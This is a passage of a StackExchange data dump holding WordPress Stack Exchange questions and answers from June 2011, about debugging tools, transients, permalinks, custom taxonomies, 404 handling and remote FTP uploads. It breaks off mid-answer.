  <row Id="20194" PostTypeId="1" CreationDate="2011-06-16T16:17:43.890" Score="2" ViewCount="77" Body="&lt;p&gt;What do you use or carry with you in your &quot;toolbelt&quot; when approaching an existing WordPress site that you've got to extend or maintain? Is there a good Windows debugger? Are there essential addons you install, things you FTP right away?&lt;/p&gt;&#xA;" OwnerUserId="2438" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-16T18:05:19.390" LastActivityDate="2011-08-16T13:25:23.827" CommunityOwnedDate="2011-06-16T19:44:17.397" Title="Super WordPress debugging toolkit and triage procedures?" Tags="&lt;debug&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="20195" PostTypeId="2" ParentId="20194" CreationDate="2011-06-16T16:39:00.243" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;xdebug&lt;/a&gt; for php debugging, couldn't live without it.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-16T16:39:00.243" CommunityOwnedDate="2011-06-16T19:44:17.397" />
  <row Id="20196" PostTypeId="1" AcceptedAnswerId="20205" CreationDate="2011-06-16T16:45:25.883" Score="1" ViewCount="69" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6292/long-option-names-fail-silently&quot;&gt;Long option names fail silently?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;The WordPress &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; makes it easy to save expensive values and look them up later. If you install an object backend (such as APC object cache, memcache or W3 Total Cache) you can cache these values between requests, gaining even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I've noticed that when the name of a transient field is too long, it simply doesn't bother caching it. Aside from being somewhere in the region of 50 characters, I don't know what the maximum length of these names is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this documented somewhere? Does it depend on what backend you're using?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-06-16T19:38:49.117" ClosedDate="2011-07-03T08:12:24.053" Title="Transient / object cache maximum key length" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;&lt;transient&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20197" PostTypeId="2" ParentId="17454" CreationDate="2011-06-16T17:36:01.777" Score="0" ViewCount="" Body="&lt;p&gt;What's happening is that the backend thinks that &lt;code&gt;!#/title-1&lt;/code&gt; is a child/next page of &lt;code&gt;my-category&lt;/code&gt;. I've been looking at something like this today, and it just causes conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Permalinks&lt;/a&gt; which does what I want. The only thing is is that it appears to reset itself if you add a new Custom Post Type. I'm not sure how it'll handle with your hashbang &lt;code&gt;#!/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2011-06-16T17:36:01.777" />
  <row Id="20198" PostTypeId="1" CreationDate="2011-06-16T17:44:23.170" Score="1" ViewCount="84" Body="&lt;p&gt;Okay I have the Default URL for the blog at &quot;General settings&quot; grayed out and unable to change the url of the blog anymore. The current value is &quot;http://blog.financialcoachshow.com/blueocean/institutional&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/IMplz.png&quot; rel=&quot;nofollow&quot;&gt;screenshot link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this happens when you have custom defined for the site/blog url at the wp-config.php file , however I have the following defined in wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define ('WPLANG', '');&#xA;define('WP_HOME','http://www.blueoceanportfolios.com/company');&#xA;define('WP_SITEURL','http://www.blueoceanportfolios.com/company');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while I was hoping to have SiteUrl/blog url at &quot;General Settings&quot; blueoceanportolios.com/company  as defined above it is locked to &lt;a href=&quot;http://blog.financialcoachshow.com/blueocean/institutional&quot; rel=&quot;nofollow&quot;&gt;http://blog.financialcoachshow.com/blueocean/institutional&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could be causing be the possible reason for such conflicting value ?&lt;/p&gt;&#xA;" OwnerUserId="6257" LastActivityDate="2011-08-17T15:25:59.270" Title="unable to change default URL at &quot;General Settings&quot; page" Tags="&lt;overridable-functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20199" PostTypeId="2" ParentId="20116" CreationDate="2011-06-16T18:13:55.770" Score="0" ViewCount="" Body="&lt;p&gt;The function &lt;code&gt;current_user_can&lt;/code&gt; only expects a single argument i.e the capability. So you can check if the current user can edit posts or not, but you can't check if the current user can edit specified post or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the correct capability name is &lt;code&gt;edit_posts&lt;/code&gt;. So the correct way of using &lt;code&gt;current_user_can&lt;/code&gt; will be like following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( empty( $post_id ) || !current_user_can( 'edit_posts' ) ) { return; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-16T18:13:55.770" />
  <row Id="20200" PostTypeId="2" ParentId="20191" CreationDate="2011-06-16T18:47:00.333" Score="1" ViewCount="" Body="&lt;p&gt;Store each custom field as a comma separated pair.  Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option_name, option_image_URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we do this (within the loop)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array();&#xA;foreach( get_post_custom_keys( $post-&amp;gt;ID ) as $key )&#xA;{&#xA;    $a = get_post_meta( $post-&amp;gt;ID, $key, true )&#xA;    $a_array = explode( ',', $a );&#xA;    $options[] = $a_array[0] // first value of each array is the option, add it to another array&#xA;    echo '&amp;lt;img src=&quot;' . $a_array[1] . '&quot; id=&quot;' . $a_array[0] . '&quot;/&amp;gt;'; // display the image with the option name as the id attribute&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then loop through the options array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;your_option&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;foreach( $options as $option )&#xA;{&#xA;   echo '&amp;lt;option id=&quot;' . $option . '&quot; value=&quot;' . $option . '&quot;&amp;gt;' . $option . '&amp;lt;/option&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each of the images should have an id attributes should have an ID attribute that's the same as one of the drop down options. You can then use some javascript to change the options around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This javascript probably won't work, but it will get you started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('img').click(function() &#xA;{&#xA;    var id = jQuery(this).attr('id');&#xA;    jQuery( 'option' ).removeAttr( 'selected' );&#xA;    jQuery( 'option #' + id ).attr( 'selected', 'selected');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="6035" LastEditorDisplayName="" LastEditDate="2011-06-16T20:06:24.243" LastActivityDate="2011-06-16T20:06:24.243" />
  <row Id="20201" PostTypeId="1" CreationDate="2011-06-16T19:14:07.277" Score="1" ViewCount="57" Body="&lt;p&gt;I'm using s2member plugin to restrict downloads. it has several hooks that can be used to customize the functionality.&#xA;here are the hooks documentation : &#xA;&lt;a href=&quot;http://www.primothemes.com/forums/viewtopic.php?f=40&amp;amp;t=9134&amp;amp;src_doc_v=110605&quot; rel=&quot;nofollow&quot;&gt;http://www.primothemes.com/forums/viewtopic.php?f=40&amp;amp;t=9134&amp;amp;src_doc_v=110605&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this works :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('ws_plugin__s2member_before_file_download_access','wpc_notify_file_download');&#xA;&#xA;function wpc_notify_file_download(){&#xA;    wp_mail('test@example.com','test','test');  &#xA;    wp_redirect( '/thank-you/' ); exit; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if I use the after download access hook, it doesn't work, the hook doesn't seem to fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, if a non member tries to download, they are redirected to a register page, I'd like the download to start automatically once they register and log in.&lt;/p&gt;&#xA;" OwnerUserId="1000" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-16T19:55:26.020" LastActivityDate="2011-06-16T19:55:26.020" Title="s2member plugin customize file download with hooks" Tags="&lt;membership&gt;" CommentCount="1" />
  <row Id="20202" PostTypeId="1" AcceptedAnswerId="20311" CreationDate="2011-06-16T19:21:46.543" Score="3" ViewCount="266" Body="&lt;p&gt;I was wondering if it would be possible to embed an html page or add an iframe into a dashboard widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a multi author blog and i want to make my admin section a simple as possible for some of my author's are less &quot;technical&quot;.&#xA;So I already added a simple widget containing some text. And I took out the less interesting widgets. And I added some links so they can stay on their dashboard page but be able to do everything they had to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I thought it would also be interesting to embed some sort of comment box so they could like talk to each other and discuss things. something like this&#xA;&lt;a href=&quot;http://www.htmlcommentbox.com&quot; rel=&quot;nofollow&quot;&gt;http://www.htmlcommentbox.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gives you some html code wich you can paste into your webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I started to experiment but all the things I tried came out negative. I thought that if I would be able to simply embed it into a widget or embed it on a html page and view it trough an Iframe it could work. But like I said can't seem to pull it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? or am I just wasting my time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="6258" LastActivityDate="2011-06-17T20:51:05.913" Title="Embed iframe or html page into dashboard widget" Tags="&lt;widgets&gt;&lt;dashboard&gt;&lt;embed&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20203" PostTypeId="2" ParentId="20163" CreationDate="2011-06-16T19:26:56.947" Score="0" ViewCount="" Body="&lt;p&gt;You're right to go to the &lt;code&gt;$wp_query&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wp_query-&amp;gt;is_archive = true;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-16T19:26:56.947" CommentCount="3" />
  <row Id="20204" PostTypeId="1" CreationDate="2011-06-16T19:33:16.537" Score="0" ViewCount="91" Body="&lt;p&gt;i've upgraded my wordpress to the latest version v3.12 - since then my screen options are lost :( there's just an empty space. that's bad enough, but also when editing a page/post, the custom fields section is gone.&#xA;i've already googled like mad and read about add_meta_box but nothing at all about just simple enabling the default custom fields feature again, nothing else.&#xA;any ideas? thanks!&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-06-16T19:33:16.537" Title="problem with template / custom fields" Tags="&lt;custom-field&gt;&lt;template&gt;" CommentCount="2" />
  <row Id="20205" PostTypeId="2" ParentId="20196" CreationDate="2011-06-16T19:38:49.117" Score="1" ViewCount="" Body="&lt;p&gt;A transient that doesn't expire has a max name length of 53 characters yet a transient that does expire has a max name length of 45 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15058&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15058&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-16T19:38:49.117" />
  <row Id="20206" PostTypeId="1" CreationDate="2011-06-16T19:51:52.643" Score="1" ViewCount="154" Body="&lt;p&gt;I have found this place to be a good source of information in the past through a lot of Googling for the problems I have run into. My question pertains to the verbose rewrite rules Wordpress uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a custom post type called &lt;em&gt;project&lt;/em&gt;, and I have registered a custom taxonomy called &lt;em&gt;projects&lt;/em&gt;. Everything works great except for the rewrite slug options as they end up conflicting - most likely due to the rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically this is the structure I am looking to achieve:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;example.com/work/%taxonomy%/%post_name%/ (for posts)&lt;/li&gt;&#xA;&lt;li&gt;example.com/work/%taxonomy%/ (list posts belonging to a particular&#xA;taxonomy term)&lt;/li&gt;&#xA;&lt;li&gt;example.com/work/ (goes to page-work.php which includes taxonomy.php to list all posts associated with that taxonomy)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have so far, but I need help writing the WP_Rewrite rules as this is the bit I am a bit stumped on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$labels = array(&#xA;    'name' =&amp;gt; _x('Projects', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Project', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'project item'),&#xA;    'add_new_item' =&amp;gt; __('Add New Project'),&#xA;    'edit_item' =&amp;gt; __('Edit Project'),&#xA;    'new_item' =&amp;gt; __('New Project'),&#xA;    'view_item' =&amp;gt; __('View Project'),&#xA;    'search_items' =&amp;gt; __('Search Projects'),&#xA;    'not_found' =&amp;gt;  __('Nothing found'),&#xA;    'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;);&#xA;&#xA;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug'=&amp;gt;'work', 'with_front'=&amp;gt;false),&#xA;    'show_ui' =&amp;gt; true,&#xA;    '_builtin' =&amp;gt; false, // It's a custom post type, not built in!&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'query_var' =&amp;gt; &quot;project&quot;, // This goes to the WP_Query schema&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','editor','thumbnail', 'comments', 'author', 'excerpt')&#xA;);&#xA;&#xA;register_post_type('project' , $args);&#xA;&#xA;// Showcase Taxonomy&#xA;register_taxonomy('projects', array('project'), array(&#xA;    'public' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'label' =&amp;gt; 'Project Categories', &#xA;    'singular_label' =&amp;gt; 'Project Category',&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug'=&amp;gt;'work', 'with_front'=&amp;gt;false, 'hierarchical'=&amp;gt;true)&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help! :-)&lt;/p&gt;&#xA;" OwnerUserId="6260" LastActivityDate="2011-06-16T19:51:52.643" Title="Wordpress Rewrite Rules for Custom Post Type and Taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" CommentCount="3" />
  <row Id="20207" PostTypeId="2" ParentId="16982" CreationDate="2011-06-16T20:59:10.883" Score="0" ViewCount="" Body="&lt;p&gt;Based on your comments to Chip, I think this is probably what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'init', array( 'YourSite_Blocks', 'on_load' ) )&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And remove &lt;code&gt;add_action( 'init', 'my_init_method' );&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is call the on_load method of the YourSite_Blocks class every time wordpress loads. That's the method that takes care of registering all the post types and adding the actions and filters.   &lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-16T20:59:10.883" />
  <row Id="20210" PostTypeId="1" CreationDate="2011-06-16T21:51:57.933" Score="1" ViewCount="131" Body="&lt;p&gt;I am slowly going mad trying to figure this out..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to list custom post type 'mobile_review' by custom taxonomy 'mobile_phone', as multipe custom post types share this taxonomy I need some way to segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_terms_by_post_type($taxonomies,$args){&#xA;&#xA; $args = array(&#xA;    'post_type' =&amp;gt; 'mobile_review'&#xA;);&#xA;&#xA;// The query for posts of type 'mobile_review'&#xA;$the_query = new WP_Query( $args );&#xA;&#xA;// The Loop&#xA;while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;&#xA;//get terms    &#xA;    //$mobs = wp_get_object_terms($post-&amp;gt;ID,&quot;mobile_phone&quot;); &#xA;     $mobs = get_terms('mobile_phone');&#xA; $count = count($terms);&#xA; if ( $count &amp;gt; 0 ){&#xA; echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA; foreach ( $terms as $term ) {&#xA;   echo &quot;&amp;lt;li&amp;gt;&quot; . $term-&amp;gt;name . &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA; }&#xA; echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA; }&#xA;&#xA;endwhile;&#xA;&#xA;// Reset Post Data&#xA;wp_reset_postdata();        &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I close? I have been hacking back and forth for ages and getting nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great!&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6139" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-17T05:26:18.857" LastActivityDate="2011-08-16T18:25:30.110" Title="List custom taxonomy specific to one custom post type" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;loop&gt;" AnswerCount="3" />
  <row Id="20211" PostTypeId="2" ParentId="20176" CreationDate="2011-06-16T22:00:23.413" Score="1" ViewCount="" Body="&lt;p&gt;The path in the editor is just for reference, most of the time users do not even bother looking at it and those that do use if to see what html tag there are in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;This is just a sample paragraph&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;span&amp;gt;&#xA;This is just a sample span&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;blockquote&amp;gt;&#xA;This is just a simple blockquote&#xA;&amp;lt;/blockquote&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i was in the blockquote tags the path would be &lt;code&gt;PATH: blockquote&lt;/code&gt; or in the span &lt;code&gt;PATH: span&lt;/code&gt;. All in all the feature is use full to most and use less to some OR use full to beginners and use less to advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a side note it does not have anything to do with the path of your site that is the line below the title field&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-16T22:00:23.413" CommentCount="2" />
  <row Id="20213" PostTypeId="1" CreationDate="2011-06-16T22:29:18.077" Score="1" ViewCount="65" Body="&lt;p&gt;I'm currently working on a plugin to create a network of custom post types, and I would like to have one section of this be a sortable list in a metabox.  Here is a great example of what I'm trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1783/help-creating-a-slideshow-custom-post-type-with-custom-meta-boxes&quot;&gt;Help Creating a Slideshow Custom Post Type with Custom Meta Boxes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look where it mentions SlideDeck and sorting of the slides in the side meta box.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to get &lt;em&gt;some&lt;/em&gt; sorting to work, by adding .postbox to each sortable element, but it doesn't allow me to create the styling that I want, and it also makes it possible to drag the elements out of the metabox.  Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys and gals&lt;/p&gt;&#xA;" OwnerUserId="6264" LastActivityDate="2011-06-16T22:29:18.077" Title="Sorting list within a custom meta box" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;metabox&gt;&lt;sort&gt;&lt;jquery-ui&gt;" FavoriteCount="1" />
  <row Id="20214" PostTypeId="2" ParentId="20157" CreationDate="2011-06-16T22:47:50.600" Score="0" ViewCount="" Body="&lt;p&gt;Since 404's happen at the server the best way to redirect a 404 away from WordPress' 404.php is by adding this to the .htaccess file at your site root. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ErrorDocument 404 /relative/path/to/404page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This must be a relative path, not an absolute path. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-16T22:47:50.600" CommentCount="3" />
  <row Id="20215" PostTypeId="1" CreationDate="2011-06-16T23:00:37.427" Score="3" ViewCount="141" Body="&lt;p&gt;Using the constant overrides in wp-config I'm able to define a remote FTP server that plugins will be added to when installed using the WP interface.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_METHOD', 'ftpext');&#xA;define('FTP_BASE', '/');&#xA;define('FTP_CONTENT_DIR', '/public_html/example.com/wp-content/');&#xA;define('FTP_PLUGIN_DIR', '/public_html/example.com/wp-content/plugins/');&#xA;define('FTP_USER', 'username');&#xA;define('FTP_PASS', 'password');&#xA;define('FTP_HOST', '123.123.123.123');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's weird to me is that there isn't a constant setup for themes or uploads. Themes I don't care about (but its still weird) ... I want uploads to be put on the remote server though. Ideally there would be an &lt;code&gt;FTP_UPLOADS_DIR&lt;/code&gt; that could be overwritten the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to get around this?&lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2011-08-06T23:19:59.430" Title="How to define a remote uploads directory?" Tags="&lt;uploads&gt;&lt;wp-config&gt;&lt;remote&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="20216" PostTypeId="2" ParentId="20210" CreationDate="2011-06-16T23:03:40.760" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt; $args = array(&#xA;    'post_type' =&amp;gt; 'mobile_review',&#xA;    'taxonomy' =&amp;gt; 'mobile_phone'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that what you're looking for?&lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2011-06-16T23:03:40.760" />
  <row Id="20217" PostTypeId="2" ParentId="20163" CreationDate="2011-06-16T23:16:14.967" Score="1" ViewCount="" Body="&lt;p&gt;As per the change in the question, the answer to this is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Look at the css classes that are applied to the menu-item of interest. &lt;/li&gt;&#xA;&lt;li&gt;The menu-item which this page should be a child of should have &lt;code&gt;current-page-ancestor&lt;/code&gt; applied to it.&lt;/li&gt;&#xA;&lt;li&gt;Make the appropriate changes in your styling sheet to style the menu when this class appears.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-06-16T23:16:14.967" />
  <row Id="20218" PostTypeId="1" AcceptedAnswerId="20219" CreationDate="2011-06-16T23:19:44.500" Score="1" ViewCount="177" Body="&lt;p&gt;I'd like to run some code only if a gallery (inserted with the [gallery] shortcode) has been inserted into a post/page. I did the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gallery_shortcode($post-&gt;ID) ?&#xA;  $gallery = 1 : $gallery = 0;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, this always sets &lt;code&gt;$gallery = 0&lt;/code&gt; whether there's a gallery or not. Am I using this incorrectly? Sorry for the noob question!&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2011-06-16T23:34:21.283" Title="Check if post/page has gallery?" Tags="&lt;shortcode&gt;&lt;gallery&gt;&lt;wordpress.org&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20219" PostTypeId="2" ParentId="20218" CreationDate="2011-06-16T23:34:21.283" Score="3" ViewCount="" Body="&lt;p&gt;try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($post-&amp;gt;post_content,'[gallery') === false){&#xA;  $gallery = 0;&#xA;}else{&#xA;  $gallery = 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-16T23:34:21.283" CommentCount="1" />
  <row Id="20220" PostTypeId="1" AcceptedAnswerId="20226" CreationDate="2011-06-16T23:35:53.560" Score="1" ViewCount="141" Body="&lt;p&gt;I'm a little stuck here. I have a menu in Wordpress with some posts in it.&#xA;What I would like is to retrieve all the posts as objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm pretty close, but the SQL query doesn't seem to work as I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is wat I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;&#xA;SELECT wposts.* FROM wp_posts wposts&#xA;LEFT JOIN wp_postmeta wmeta ON wposts.ID = wmeta.post_id&#xA;LEFT JOIN wp_term_relationships wrel ON wrel.object_id = wmeta.meta_value&#xA;LEFT JOIN wp_terms wterms ON wrel.term_taxonomy_id = wterms.term_id&#xA;WHERE wterms.term_id= $menu_id&#xA;&quot;;&#xA;&#xA;$posts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it's a stupid little SQL logic error, but I realy can't find it..&lt;/p&gt;&#xA;" OwnerUserId="5986" LastActivityDate="2011-06-17T01:13:03.020" Title="Get posts by menu ID" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;database&gt;&lt;mysql&gt;&lt;get-posts&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="20221" PostTypeId="2" ParentId="20157" CreationDate="2011-06-17T00:04:49.970" Score="1" ViewCount="" Body="&lt;p&gt;Going off of TheDeadMedic you can try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not 100% that this will work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_20157_404( $standard_404 ) {  &#xA;    if ( is_single() || is_tag('whatever','product' &amp;amp;&amp;amp; is_404()) ) // Use || to list multiple if's&#xA;        include_wordpress_template(TEMPLATEPATH . '/custom404.php');&#xA;}&#xA;add_action( 'template_redirect', 'wpse_20157_404' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or my original answer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_20157_404( $standard_404 ) {  &#xA;    if ( is_single() || is_tag('whatever','product') ) // Use || to list multiple if's&#xA;        include_wordpress_template(TEMPLATEPATH . '/custom404.php');&#xA;}&#xA;add_filter( '404_template', 'wpse_20157_404' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-17T05:54:45.923" LastActivityDate="2011-06-17T05:54:45.923" CommentCount="1" />
  <row Id="20222" PostTypeId="2" ParentId="20163" CreationDate="2011-06-17T00:19:13.137" Score="0" ViewCount="" Body="&lt;p&gt;I came across something like this recently for highlighting terms if single post is active and to be honest i had to use some jquery for it. Its not pretty but it works for now. Wordpress lacks this feature which i do agree &lt;strong&gt;sucks&lt;/strong&gt; You can always use a function to load it for certain pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_20163_navstyle() {&#xA;    if(is_archive()) { ?&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function(){&#xA;            jQuery('#blogtabid').addClass('selectedclass');&#xA;        });&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;? }&#xA;add_action('wp_head','wpse_20163_navstyle')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if you are wanting to use the &lt;code&gt;$wp_query&lt;/code&gt; make sure to have a global as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;global $wp_query;&lt;/code&gt; and then you can &lt;code&gt;$wp_query-&amp;gt;is_archive = 